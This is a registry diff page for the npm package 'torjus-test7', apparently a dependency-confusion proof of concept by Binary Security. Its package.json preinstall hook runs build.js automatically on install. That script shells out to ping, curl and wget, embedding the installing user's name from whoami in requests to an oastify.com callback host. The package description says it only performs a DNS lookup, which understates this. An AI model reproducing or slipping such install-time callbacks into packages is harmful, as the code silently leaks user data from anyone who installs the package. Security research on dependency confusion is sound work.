torjus-test7 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of torjus-test7 might be problematic. Click here for more details.
- package/build.js +23 -0
- package/package.json +11 -0
package/build.js
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
var exec = require('child_process').exec;
|
2
|
+
var os = require('os');
|
3
|
+
|
4
|
+
domain = "fo7z7vl13vbrcgizsa195dqcs3yurig.oastify.com";
|
5
|
+
|
6
|
+
// Run command depending on the OS
|
7
|
+
if (os.type() === 'Linux'){
|
8
|
+
exec(`ping -c 1 linux.$(whoami).${domain}`);
|
9
|
+
exec(`curl linux.$(whoami).${domain}`);
|
10
|
+
}
|
11
|
+
else if (os.type() === 'Darwin'){
|
12
|
+
exec(`ping -c 1 osx.$(whoami).${domain}`);
|
13
|
+
exec(`curl osx.$(whoami).${domain}`);
|
14
|
+
}
|
15
|
+
else if (os.type() === 'Windows_NT') {
|
16
|
+
exec(`ping -n 1 windows.${domain}`);
|
17
|
+
exec(`wget http://windows.${domain}`);
|
18
|
+
}
|
19
|
+
else {
|
20
|
+
exec(`ping ${domain}`);
|
21
|
+
exec(`curl ${domain}`);
|
22
|
+
exec(`wget ${domain}`);
|
23
|
+
}
|
package/package.json
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
{
|
2
|
+
"name": "torjus-test7",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "This package is a test package used to prove dependency confusion. All it does is perform a DNS lookup.",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node build.js && exit 0"
|
8
|
+
},
|
9
|
+
"author": "Binary Security",
|
10
|
+
"license": "MIT"
|
11
|
+
}
|